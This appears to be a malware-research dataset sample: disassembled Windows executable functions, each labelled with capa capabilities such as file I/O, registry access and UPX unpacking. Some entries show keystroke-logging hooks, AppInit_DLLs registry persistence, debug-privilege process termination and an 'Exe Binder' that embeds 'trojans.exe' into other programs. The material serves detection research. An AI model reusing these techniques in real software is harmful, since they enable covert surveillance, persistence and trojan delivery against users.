joyce8/EMBER2024-capa huggingface dataset:
Function at 0x431bb8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x487680]
jne 0x431bc2
repz ret
jmp fcn.00431f9d

Function at 0x444920
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, 1
test eax, eax
je 0x44495e
cmp dword [ebp + 8], 0
je 0x444937
jmp 0x44495e
push 0x48c504
push 0xf4
push 0x48c510
push 0x48c51c
push 8
push 0
call sub.libglib_2.0_0.dll_g_log
add esp, 0x18
xor eax, eax
jmp 0x444a66
mov ecx, 1
test ecx, ecx
je 0x444996
cmp dword [ebp + 0xc], 0
je 0x44496f
jmp 0x444996
push 0x48c544
push 0xf5
push 0x48c550
push 0x48c55c
push 8
push 0
call sub.libglib_2.0_0.dll_g_log
add esp, 0x18
xor eax, eax
jmp 0x444a66
mov edx, 1
test edx, edx
je 0x4449d0
mov eax, dword [ebp + 8]
cmp dword [eax], 0
je 0x4449a9
jmp 0x4449d0
push 0x48c584
push 0xf6
push 0x48c594
push 0x48c5a0
push 8
push 0
call sub.libglib_2.0_0.dll_g_log
add esp, 0x18
xor eax, eax
jmp 0x444a66
mov ecx, dword [ebp + 8]
cmp dword [ecx + 0x18], 0x8000
jne 0x4449e3
xor eax, eax
jmp 0x444a66
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.MSVCR90.dll_fread]
add esp, 0x10
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 0
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
jmp 0x444a22
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
imul ecx, dword [ebp + 0x10]
cmp dword [ebp - 0xc], ecx
jae 0x444a63
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x24]
add eax, 1
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x24], eax
mov edx, dword [ebp - 4]
movsx eax, byte [edx]
cmp eax, 0xa
jne 0x444a61
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x20]
add edx, 1
mov eax, dword [ebp + 8]
mov dword [eax + 0x20], edx
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x24], 1
jmp 0x444a10
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x422ab0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1b000]
push edi
or ebp, 0xffffffff
jmp 0x422ad2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x422ad9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x422ac8
mov eax, 1
add ebx, ebx
jne 0x422aeb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x422ae0
jne 0x422afc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x422ae0
xor ecx, ecx
sub eax, 3
jb 0x422b10
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x422b82
mov ebp, eax
add ebx, ebx
jne 0x422b1b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x422b28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x422b4c
inc ecx
add ebx, ebx
jne 0x422b38
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x422b2d
jne 0x422b49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x422b2d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x422b6c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x422b5d
jmp 0x422ace
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x422b6c
add edi, ecx
jmp 0x422ace
pop esi
mov edi, esi
mov ecx, 0x52d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x422b8a
cmp byte [edi], 4
jne 0x422b8a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x422b8f
lea edi, [esi + 0x20000]
mov eax, dword [edi]
or eax, eax
je 0x422c07
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x238e8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x23988]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x422bbc
mov ecx, edi
jns 0x422beb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2398c]
or eax, eax
je 0x422c01
mov dword [ebx], eax
add ebx, 4
jmp 0x422bd9
call dword [esi + 0x23990]
popal
jmp section.UPX0
Function at 0x402a60
Capabilities:
Create pipe
Create process on windows
Get thread local storage value
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1c0c
call fcn.0040fac0
mov eax, dword [0x4588a4]
mov ecx, dword [0x458334]
push ebx
shr eax, 3
push esi
push edi
test eax, eax
jbe 0x402b73
mov ebx, dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
mov esi, dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
cmp dword [0x4588a4], 0x959
jne 0x402b5c
push 0
lea eax, [ebp - 0x1408]
push eax
push 0
push 0
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push 0
lea ecx, [ebp - 0xc08]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
lea edx, [ebp - 0x408]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push 0
lea eax, [ebp - 0x1c08]
push eax
push 0
call edi
mov ecx, dword [ebp - 4]
push ecx
call fcn.00402830
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x402a9e
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40847c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x449770]
jne 0x408486
repz ret
jmp fcn.0040b3dd

Function at 0x409bf5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00407ba6
and dword [ebp - 4], 0
cmp dword [0x44f584], 0
mov ebx, eax
jne 0x409ca6
push 0x401b14
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x409d57
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401b08
push edi
call esi
test eax, eax
je 0x409d57
push eax
call fcn.00407b34
mov dword [esp], 0x401af8
push edi
mov dword [0x44f584], eax
call esi
push eax
call fcn.00407b34
mov dword [esp], 0x401ae4
push edi
mov dword [0x44f588], eax
call esi
push eax
call fcn.00407b34
mov dword [esp], 0x401ac8
push edi
mov dword [0x44f58c], eax
call esi
push eax
call fcn.00407b34
pop ecx
mov dword [0x44f594], eax
test eax, eax
je 0x409ca6
push 0x401ab0
push edi
call esi
push eax
call fcn.00407b34
pop ecx
mov dword [0x44f590], eax
mov eax, dword [0x44f590]
cmp eax, ebx
je 0x409cfe
cmp dword [0x44f594], ebx
je 0x409cfe
push eax
call fcn.00407baf
push dword [0x44f594]
mov esi, eax
call fcn.00407baf
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x409cfe
test edi, edi
je 0x409cfe
call esi
test eax, eax
je 0x409cf5
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409cf5
test byte [ebp - 0xc], 1
jne 0x409cfe
or dword [ebp + 0x10], 0x200000
jmp 0x409d37
mov eax, dword [0x44f588]
cmp eax, ebx
je 0x409d37
push eax
call fcn.00407baf
pop ecx
test eax, eax
je 0x409d37
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x409d37
mov eax, dword [0x44f58c]
cmp eax, ebx
je 0x409d37
push eax
call fcn.00407baf
pop ecx
test eax, eax
je 0x409d37
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x44f584]
call fcn.00407baf
pop ecx
test eax, eax
je 0x409d57
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x409d59
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401308
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x40500c]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4013a0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x401380
xor eax, eax
push ebp
push 0x401379
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4013bc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x401380
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x40500c]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x40500c], ax
mov esp, ebp
pop ebp
ret

Function at 0x401a58
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x406034], 0
je 0x401ab9
cmp word [0x406208], 0xd7b2
jne 0x401a81
cmp dword [0x406210], 0
jbe 0x401a81
mov eax, 0x406204
call dword [0x406220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x405040
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x401ae0
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x405018], 0
jne 0x401ad5
push 0
push 0x405060
push 0x405040
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x402580
Capabilities:
Enumerate processes

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffed8
mov ebx, edx
mov esi, eax
xor edi, edi
push 0
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov ebp, eax
mov dword [esp], 0x128
push esp
push ebp
call sub.kernel32.dll_Process32First
jmp 0x4025c9
lea eax, [esp + 0x24]
push eax
push esi
call sub.kernel32.dll_lstrcmpiA
test eax, eax
jne 0x4025c2
mov edi, dword [esp + 8]
test bl, bl
je 0x4025d3
push esp
push ebp
call sub.kernel32.dll_Process32Next
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
je 0x4025ab
push ebp
call sub.kernel32.dll_CloseHandle
mov eax, edi
add esp, 0x128
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4025e8
Capabilities:
Enumerate process modules

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffddc
mov edi, ecx
mov ebx, edx
mov esi, eax
xor ebp, ebp
push 0x104
push edi
call sub.kernel32.dll_RtlZeroMemory
push esi
push 8
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
mov dword [esp], 0x224
push esp
push esi
call sub.kernel32.dll_Module32First
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x40265f
test ebx, ebx
je 0x40263a
lea eax, [esp + 0x20]
push eax
push ebx
call sub.kernel32.dll_lstrcmpiA
test eax, eax
jne 0x40264e
lea eax, [esp + 0x120]
push eax
push edi
call sub.kernel32.dll_lstrcpyA
mov ebp, dword [esp + 0x14]
jmp 0x40265f
push esp
push esi
call sub.kernel32.dll_Module32Next
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
je 0x402627
push esi
call sub.kernel32.dll_CloseHandle
mov eax, ebp
add esp, 0x224
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x402728
Capabilities:
Delete file
Set file attributes

Disassembly:
push ebx
push esi
mov esi, eax
xor ebx, ebx
push 0x80
push esi
call sub.kernel32.dll_SetFileAttributesA
push esi
call sub.kernel32.dll_DeleteFileA
mov eax, esi
call fcn.00402700
test al, al
jne 0x40274c
mov bl, 1
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x402a8c
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
push 0x80
push ebx
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push ebx
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402b00
cmp byte [ebp + 8], 1
jne 0x402ade
push 2
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
jmp 0x402aec
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 4]
push eax
push edi
push esi
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x402b0c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
xor edx, edx
mov dword [ebp - 4], edx
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402b73
cmp byte [ebp + 8], 1
jne 0x402b51
push 2
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
jmp 0x402b5f
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 4]
push eax
push edi
push esi
push ebx
call sub.kernel32.dll_ReadFile
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x402b80
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
mov ebx, dword [ebp + 8]
push 0x80
push ebx
call sub.kernel32.dll_SetFileAttributesA
push ebx
mov eax, dword [ebp - 4]
push eax
push edi
push esi
call sub.kernel32.dll_WritePrivateProfileStringA
cmp eax, 1
sbb eax, eax
inc eax
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 4

Function at 0x402c00
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
push edx
push eax
call sub.advapi32.dll_RegCreateKeyA
push ebx
call sub.kernel32.dll_lstrlenA
push eax
push ebx
push 1
push 0
push esi
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
mov ebx, eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret 4

Function at 0x402c40
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
lea ecx, [ebp - 4]
push ecx
push edx
push eax
call sub.advapi32.dll_RegCreateKeyA
push 4
lea eax, [ebp + 8]
push eax
push 4
push 0
push ebx
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
mov ebx, eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
pop ebx
pop ecx
pop ebp
ret 4
Function at 0x402d58
Capabilities:
Resolve dns

Disassembly:
push ebx
xor ebx, ebx
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x402d6c
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ebx, dword [eax]
mov eax, ebx
pop ebx
ret
Function at 0x403d30
Capabilities:
Log keystrokes via application hook

Disassembly:
push 0
push 0x406910
call sub.kernel32.dll_GetModuleHandleA
push eax
push 0x403cf0
push 2
call sub.user32.dll_SetWindowsHookExA
mov dword [0x40732c], eax
push 0
push 0x406910
call sub.kernel32.dll_GetModuleHandleA
push eax
push 0x403d10
push 7
call sub.user32.dll_SetWindowsHookExA
mov dword [0x407330], eax
ret

Function at 0x403d70
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ebx
push esi
push eax
mov eax, 2
add esp, 0xfffff004
push eax
dec eax
jne 0x403d78
mov eax, dword [esp + 0x2000]
add esp, 0xffffff84
mov edx, 0x403df4
mov eax, dword [0x4066f8]
call fcn.00402674
mov eax, esp
mov edx, 0x2080
call fcn.00402eb8
push 0x403e08
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_lstrcpyA_1
mov esi, 1
mov ebx, esp
mov eax, ebx
xor edx, edx
call fcn.00402580
test eax, eax
jbe 0x403ddf
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
push 0
push eax
call sub.kernel32.dll_TerminateProcess
add ebx, 0x104
dec esi
jne 0x403dbd
add esp, 0x2080
pop esi
pop ebx
ret

Function at 0x403e14
Capabilities:
Persist via appinit_dlls registry key

Disassembly:
push ebx
add esp, 0xfffffe00
mov ebx, esp
push 0x403f2c
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x40712c
push ebx
call sub.kernel32.dll_lstrcatA_1
push 0x403f34
push ebx
call sub.kernel32.dll_lstrcatA_1
push 0x406a14
mov ecx, 0x403f44
mov edx, ebx
mov eax, 0x80000000
call fcn.00402c00
push 0x403f48
mov ecx, 0x403f54
mov edx, ebx
mov eax, 0x80000000
call fcn.00402c00
push 0x403f64
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x406910
mov ecx, 0x40712c
mov edx, ebx
mov eax, 0x80000002
call fcn.00402c00
push 0x403fac
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x403f44
mov ecx, 0x403fe4
mov edx, ebx
mov eax, 0x80000002
call fcn.00402c00
push 0x403ff4
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 1
mov ecx, 0x40402c
mov edx, ebx
mov eax, 0x80000002
call fcn.00402c40
push 1
mov ecx, 0x40403c
mov edx, ebx
mov eax, 0x80000002
call fcn.00402c40
push 0x404048
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x4040a4
lea eax, [esp + 0x104]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4040ac
lea eax, [esp + 0x104]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0
lea ecx, [esp + 0x104]
mov edx, ebx
mov eax, 0x80000002
call fcn.00402c40
add esp, 0x200
pop ebx
ret
Function at 0x401000
Capabilities:
Read file on windows

Disassembly:
sub esp, 8
push esi
mov esi, dword [esp + 0x10]
cmp esi, 1
jne 0x40103f
push str.Exe_Binder_V1.0_bY_kLoEr__at__NTUST_CSIE_n
call fcn.0040124e
push str.Usage_:_eb.exe_Target_Source_0__Source_1__.._Source_n__n
call fcn.0040124e
push str.Example_:_eb.exe_C:_binded.exe_C:_trojans.exe_C:_normal.exe_n
call fcn.0040124e
push str.Support_ten_files_to_bind
call fcn.0040124e
add esp, 0x10
xor eax, eax
pop esi
add esp, 8
ret
push ebp
push edi
mov edi, dword [esp + 0x1c]
mov ebp, 0x65
push ebp
push 0x407048
mov eax, dword [edi + 4]
push eax
call fcn.00401140
add esp, 0xc
cmp esi, 1
jle 0x401120
add edi, 8
dec esi
push ebx
mov dword [esp + 0x1c], edi
mov dword [esp + 0x10], esi
mov ecx, dword [edi]
push 0x407044
push ecx
call fcn.004011f0
mov edi, eax
add esp, 8
cmp edi, 0xffffffff
je 0x401105
push edi
call fcn.00401240
mov edx, dword [esp + 0x20]
add esp, 4
mov ebx, eax
mov eax, dword [edx]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea ecx, [esp + 0x14]
push 0
push ecx
mov esi, eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401105
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0x20]
push 0
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov ecx, ebp
push edi
push ebx
and ecx, 0xffff
push 0x804
mov esi, eax
push ecx
push 0x407048
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
inc ebp
mov edi, dword [esp + 0x1c]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x1c], edi
mov dword [esp + 0x10], eax
jne 0x401072
pop ebx
push str.Binded_Complete
call fcn.0040124e
add esp, 4
xor eax, eax
pop edi
pop ebp
pop esi
add esp, 8
ret

Function at 0x401140
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
and ecx, 0xffff
push eax
push ecx
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x4011db
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x4011db
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
test ebp, ebp
je 0x4011db
mov edx, dword [esp + 0x14]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
lea eax, [esp + 0x18]
push 0
push eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4011db
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x402e51
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x407450
cmp edx, dword [eax]
je 0x402e73
add eax, 8
inc ecx
cmp eax, 0x4074e0
jl 0x402e64
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x407450]
jne 0x402fa1
mov eax, dword [0x4079a8]
cmp eax, 1
je 0x402f7b
test eax, eax
jne 0x402ea4
cmp dword [0x407118], 1
je 0x402f7b
cmp edx, 0xfc
je 0x402fa1
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x402edb
lea eax, [ebp - 0x1a4]
push 0x406430
push eax
call fcn.00404310
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00403830
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x402f1e
lea eax, [ebp - 0x1a4]
push eax
call fcn.00403830
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40642c
push edi
call fcn.00404ba0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x406410
push eax
call fcn.00404310
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00404320
lea eax, [ebp - 0xa0]
push 0x40640c
push eax
call fcn.00404320
push dword [esi + 0x407454]
lea eax, [ebp - 0xa0]
push eax
call fcn.00404320
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4063e4
push eax
call fcn.00404b15
add esp, 0x2c
pop edi
jmp 0x402fa1
lea eax, [ebp + 8]
lea esi, [esi + 0x407454]
push 0
push eax
push dword [esi]
call fcn.00403830
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x4b8370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x4b838e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0x4e1074
push ecx
mov edi, eax
call fcn.004cc198
mov esi, eax
add esp, 8
test esi, esi
jne 0x4b83cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.004cc02e
push esi
call fcn.004cbfb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret